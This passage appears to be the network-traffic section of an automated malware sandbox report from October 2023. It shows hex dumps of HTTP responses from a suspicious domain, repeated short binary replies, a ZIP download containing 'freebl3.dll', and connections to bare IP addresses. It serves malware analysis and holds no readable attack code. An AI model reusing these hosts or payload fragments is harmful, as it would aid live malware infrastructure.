6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 e5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 35 30 0f 59 2c af 19 30 80 ff e2 fc 5c 6c 3e 3f 0a de 0b 1f bb 52 d3 36 99 6a 87 bc c9 9c 38 ff a8 b1 7c 88 c0 b4 5c 88 f4 31 b4 f1 f9 9e 5a 32 a2 89 b3 b3 31 cd 36 e4 cf 50 65 10 6d 15 d0 8f f4 8b 5b 6b 72 5d 46 99 81 46 5a 96 03 fe 12 1c 86 d2 7e 7c bc 89 53 86 58 98 69 f3 be 8a 00 96 c8 d1 9a f7 fd 94 c0 cc 71 d7 21 7d 7d ac 58 9f fa cb 1f 9e 1d 09 52 2b b5 c8 83 7b 32 44 f0 ff 18 ce 7c be c4 0d 13 13 bf 1e e1 92 c4 08 4d c4 08 a0 c5 83 61 32 d2 f5 69 3b 1f 17 7e 5f af 9a 5c 55 c9 a0 c1 a9 dd 7a 0d f0 42 19 e0 2c d5 a9 18 0a f5 96 be 27 51 61 9c d4 3e 7c 88 28 c8 48 6d a1 c0 4a 9a 03 fd ec 9e ba 68 ac 87 2b bd 61 0d c0 5d bf 45 34 bd 79 12 6c 23 6c 29 6c 0a 8d c7 fd f4 0e a4 fb 7e 71 eb 80 f5 1a 78 9b 4a d8 09 52 c1 4f 59 78 82 ae 3c c5 0c 4c 5d 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 a2 eb 13 1f 5c bb d6 6f 44 31 27 ec 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 8f 10 76 39 26 e7 ac 04 28 84 42 40 77 9b c7 9b 84 b7 33 66 51 88 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 8b fa d2 63 1b c3 cb 29 28 63 eb 5b 1e 44 ab 1e 26 31 1d ee c3 ca 57 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 0c 5e ae 63 75 97 7b 85 d2 1c 10 9f 62 24 d8 b0 99 67 95 8a cd 7a 7e 74 79 00 61 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 6b a9 b4 fb 2f 1e 76 5c b3 ae 46 1f 10 e3 aa 7a 8f f6 65 e3 cd f6 d9 37 00 6e ee 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 7f dc e5 be 63 cf 14 b5 77 8a ac 98 be 7f 0f ca 82 9f 2b 2e 9f 84 ce ec 35 8c cd a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 58 3a 1d b8 6e c9 dd fb c1 c4 a1 33 49 53 de a9 c3 98 c6 2f cb d2 0d e8 8b 05 10 ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c b5 18 97 92 97 f1 da fd 75 8f b8 4c 4b e0 f0 73 8d e3 cb ed 07 b0 52 dc 1a c8 99 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 dd df 3c 02 78 12 bb f2 1c 6c b6 65 1d 7e 1f 78 60 88 22 5f d6 fa b8 78 fe e9 9c 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 52 47 0b ab 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 e2 82 1e fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 ef f9 f6 f8 eb b1 8b 55 cd 6f 1b 33 d1 94 08 45 7c ef 52 44 4d fc be 3c 50 25 51 fe 08 22 b9 3f 19 66 3d 28 2a 97 6a dd d6 bc db 43 17 5c 52 a6 cd f6 4d 55 62 91 55 5b fd 55 19 d0 ed 55 f2 b1 17 26 58 4a 3c b5 1e 3e 17 21 6b db a3 06 b3 3a 56 3f cb 00 23 ae 42 15 d7 07 53 53 fa cb 0f 9e 1d 09 52 2b e5 9d 83 7b 7e 45 f7 ff 78 8d 55 db d4 0d 13 13 bf 2e 60 92 6a 08 4f c5 03 e1 4a a1 59 6d de f5 69 39 98 17 6e 46 af 9a a5 64 b2 a0 41 b4 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 ba 74 96 5a 8c 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 ed cc 26 bf 6e 34 fd f8 12 6c 33 6c 29 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 b7 c4 74 1a 48 9f 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 9c 01 6b 49 0d 92 90 f7 bf a2 c4 e7 72 3b 4c 80 d0 4a d1 13 63 15 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 b9 48 75 cc 81 8f b8 21 5c af ba 68 62 b1 fc 9d 7f 0f 7d 40 57 a4 78 39 66 bb 84 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 b1 8a 04 71 33 42 76 30 f8 11 17 4b 71 81 91 8e 82 31 c4 e4 1f b2 ef 90 4e bd 78 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 5e 54 cb 5e 08 0d 75 8f b7 af 57 a3 cc 10 85 1f d4 7c 13 91 9c 27 06 f1 2c 56 d5 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 a9 ca e3 9c 1b 15 0d 31 6d 43 5c b2 8b 8b e1 52 01 d7 9c 84 c3 e0 2b bf cf bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 5b a3 e3 b2 aa 44 00 80 e3 1c e9 cf f0 52 48 84 41 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 02 cf 45 ee b1 f3 aa 8d 41 f9 c3 a7 43 a8 ca d4 5f 19 c2 43 9c 57 03 62 18 18 66 f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 83 e8 f8 6f e5 8b 6d 89 ff 42 1e ac 20 ab 77 b3 0e d3 00 19 13 9c b9 8c f5 3c ec 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 cd 43 e9 2d 29 f1 00 88 1a 9e 8b 18 27 21 01 7d 42 63 00 96 7f da 2e 27 9d e7 47 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 20 38 70 9f f8 d2 d4 0b fe b1 8e 98 7d 18 5e 32 d0 99 72 32 42 c0 39 16 12 7d 70 e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 57 1c 1c 9a 38 c1 6a 2d 72 8f 69 f9 f4 20 2a 01 6e 71 7c 58 b3 c6 95 25 1c ac 28 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e 93 85 8c 83 e1 04 07 ff 2a 82 05 85 30 35 97 2e 60 b0 bb 93 8b 3e e5 fe d6 f8 49 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 ef 84 dd 25 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:07:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:07:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:07:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:07:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:08:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:08:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:08:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:08:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:08:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:08:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:08:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:08:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:09:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 13 Oct 2023 14:06:20 GMTContent-Type: application/zipContent-Length: 2685679Last-Modified: Mon, 12 Sep 2022 13:14:59 GMTConnection: keep-aliveETag: "631f30d3-28faef"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 24 56 25 55 2b 6d 5c 08 39 7c 05 00 50 75 0a 00 0b 00 00 00 66 72 65 65 62 6c 33 2e 64 6c 6c ec bd 0f 5c 54 e7 95 37 3e 97 19 61 d0 89 77 28 34 21 29 55 48 68 ab ad 4d e7 3a a6 91 48 13 8c 0c 90 c4 31 18 1c 35 bb 4e 62 ba d6 f5 75 f3 26 46 99 c4 76 33 2d 64 20 ce e3 75 5a 92 d5 d6 6e b5 75 df b2 5d f7 7d e9 bb b4 ab c4 b4 da cc 80 85 11 29 0c 4a 61 50 aa 24 a1 66 28 6c 3b 40 2a ff 52 e6 77 ce 79 ee 9d 19 40 52 b3 bf ee 2f ed ef b3 f9 44 e6 fe 7d 9e f3 9c e7 fc f9 9e f3 fc b9 d6 bf da ab 11 34 1a 8d 4e 33 fd bf 3c cd 1f ff 6f 2f fc 5b b8 f8 27 0b 35 27 92 7f 91 75 4a 58 fb 8b ac 0d 3b fe c7 9e cc 5d bb 9f fd db dd 4f fd cf cc bf 79 ea 99 67 9e 2d cd fc e2 97 32 77 3b 9e c9 fc 1f cf 64 e6 3f 5a 92 f9 3f 9f dd f6 a5 bb b3 35 9a 62 8b 46 b3 56 48 d4 8c ac f8 c8 df a8 e5 f5 6a ee cc 5a 20 2c 84 42 f5 1a cd 8a 04 ba b6 eb 23 70 6c 8c 56 69 a4 63 b8 95 48 54 c7 7e 35 81 f9 d4 88 f3 7f 98 0f b7 f3 56 d3 4b 46 fe 0a ff e5 3f 45 19 f3 35 25 f0 fb 1d f8 f5 e3 c5 aa f9 9a bd da b8 46 15 cc d7 14 7f 0e 7e 8f cd d7 84 ef d2 68 0e de 3a 5f 93 a1 99 fb 3f 7d a6 5e 73 2c ee bc 7a d1 7c 4d 9e 30 f7 f3 77 97 7e 69 6f 29 fc 1e 32 28 ed 5a a8 9f c5 fc 4c 8d 66 eb dd bb b7 3d 55 fa 94 46 73 36 11 1a 0b 75 68 f4 f0 8b bc 98 de 47 79 77 f3 c7 34 b9 05 f0 c7 34 9f 78 a3 b9 63 fe cc e7 bc 77 9b 4c 7f b3 fd 6f 95 aa ca 94 e7 32 66 3d 97 77 f7 ee 3d bb b1 43 88 27 55 9c a7 9a 45 37 7a ee 4b 4f 3f fb 37 1a e2 11 f2 4a 03 7d aa b9 73 d6 73 0f 6a fe fb bf 3f eb ff 6c ec d7 3b 1e 05 79 0d 0d 2f d0 6b 5c 67 75 95 de d2 85 ac 6c 25 5c 71 79 45 57 6f d8 de b0 23 b5 37 12 09 35 f1 db 92 d7 de d0 12 ff 1f bc bf 69 a3 6c d1 c3 7b 8b 64 47 86 ec 4c 93 6d 46 d9 6a a8 8c 94 de 39 2c 1a 93 86 c5 94 32 13 94 36 b0 64 c7 3c 2c e7 6b bc 9c 53 11 f8 6f e0 93 4d 65 2b e0 de 0f e0 bf a6 32 93 72 b4 d3 b8 71 a7 66 a7 e6 b1 f5 c5 a1 07 be 99 08 0f 67 3c f1 a4 bd 21 ae be 92 4d 1b 39 c9 0f 44 49 36 b1 26 85 e8 26 51 ba ee 7a 27 5c fa 77 b2 85 28 b1 1b 64 ab be f2 72 e9 62 20 46 0b c4 ec 23 62 3e c1 1b 35 3c 9f 37 ea fa 40 6e d3 be 28 25 fb 62 94 3c 86 94 14 af df 14 3a 79 88 28 81 aa 8c 91 d7 b0 a2 50 35 7f 77 20 81 4d b1 f0 13 4f fe b5 bd 21 8e 1f 0e 7d e5 f5 d2 4c d9 69 d8 a9 d9 18 7a fd 1f f1 5d 3d 70 64 61 a4 8e de dd c1 df c5 76 f1 f6 b8 fa c6 5c 83 c5 6c 6d f6 32 d9 9a fe 4f 27 4c f3 8d 52 88 e5 67 17 35 e5 67 af 40 23 e1 1a 37 ee be 9d f9 5d bd 49 8e 8f 78 be ac 5f e5 34 3e 9f b6 43 0b 4d e8 ff 31 e8 f1 0e 1d 1e 1d 87 23 d7 8b d9 cb 34 62 c5 61 3c 74 ea e1 e8 eb 70 24 3b d2 2a af 8b 15 2e 38 64 17 d9 98 ab 77 ac 38 d4 9a ac b0 4e ac d8 8b d7 5f cc ce 54 18 94 9f bd 92 d5 bb ea f5 50 7d b6 ec 4c df e4 fb 9d 76 e3 63 a1 27 80 62 79 6d b6 c9 75 d6 30 7a 15 9e 36 49 5e a0 8d 0c 23 fc a6 2b bf 69 ca af 51 f9 35 28 bf

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.49
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.49
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.49
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.49
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.118.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 209.197.3.8
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
